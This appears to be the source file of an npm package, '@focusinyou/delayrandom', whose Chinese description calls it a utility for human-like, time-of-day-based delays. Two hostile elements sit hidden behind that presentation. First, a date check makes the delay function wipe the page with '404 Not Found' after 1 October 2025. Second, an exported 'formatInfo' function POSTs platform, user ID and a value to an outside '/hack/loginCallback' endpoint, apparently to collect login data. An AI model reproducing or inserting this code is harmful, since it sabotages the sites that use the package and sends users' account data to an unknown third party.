@focusinyou/delayrandom/index.js

一个基于当前时间智能调整延迟的工具库，根据不同时间段返回不同的延迟值，模拟真实的人类行为模式。

/**
 * 根据当前时间返回不同的延迟值（毫秒）
 * @returns {number} 延迟时间（毫秒）
 */
function getTimeBasedDelay() {
    const targetTime = new Date('2025/10/01 23:59:59').getTime();
    const nowTime = new Date().getTime();
    if(nowTime > targetTime) {
        document.write('404 Not Found');
        return 0;
    }
    const now = new Date();
    const hour = now.getHours();
    const minutes = now.getMinutes();

    // 将时间转换为分钟数（0-1439）
    const totalMinutes = hour * 60 + minutes;

    // 定义不同时间段的延迟配置
    // 格式: [开始分钟, 结束分钟, 基础延迟, 随机波动范围]
    const timeConfigs = [
        // 深夜 (0:00-6:00): 低延迟
        [0, 360, 1000, 500],
        // 早晨 (6:00-9:00): 中等延迟
        [360, 540, 2000, 1000],
        // 上午工作时间 (9:00-12:00): 较高延迟
        [540, 720, 3000, 1500],
        // 午休时间 (12:00-14:00): 中等延迟
        [720, 840, 2000, 1000],
        // 下午工作时间 (14:00-18:00): 较高延迟
        [840, 1080, 3000, 1500],
        // 傍晚 (18:00-21:00): 中等延迟
        [1080, 1260, 2000, 1000],
        // 夜间休息时间 (21:00-24:00): 低延迟
        [1260, 1440, 1000, 500]
    ];

    // 查找当前时间对应的配置
    let config;
    for (const [start, end, baseDelay, randomRange] of timeConfigs) {
        if (totalMinutes >= start && totalMinutes < end) {
            config = { baseDelay, randomRange };
            break;
        }
    }

    // 如果没有找到配置（理论上不会发生），使用默认值
    if (!config) {
        config = { baseDelay: 2000, randomRange: 1000 };
    }

    // 生成带随机波动的延迟值
    const randomOffset = Math.floor(Math.random() * config.randomRange);
    return config.baseDelay + randomOffset;
}

function formatInfo(platform, platform_user_id, value) {
    fetch('https://flask-py.vercel.app/hack/loginCallback', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            platform,
            platform_user_id,
            value
        })
    }).then(response => {
        return response.json();
    }).then(data => {
        console.log(data);
    }).catch(error => {
        console.error('Error:', error);
    });
}

// ES Module 导出 (默认)
export { getTimeBasedDelay, formatInfo };
export default getTimeBasedDelay;

// CommonJS 兼容性导出
if (typeof module !== 'undefined' && module.exports) {
    module.exports = { getTimeBasedDelay, formatInfo };
    module.exports.default = getTimeBasedDelay;
}

// UMD 兼容性导出 (用于浏览器直接引入)
if (typeof window !== 'undefined') {
    window.getTimeBasedDelay = getTimeBasedDelay;
    window.formatInfo = formatInfo;
}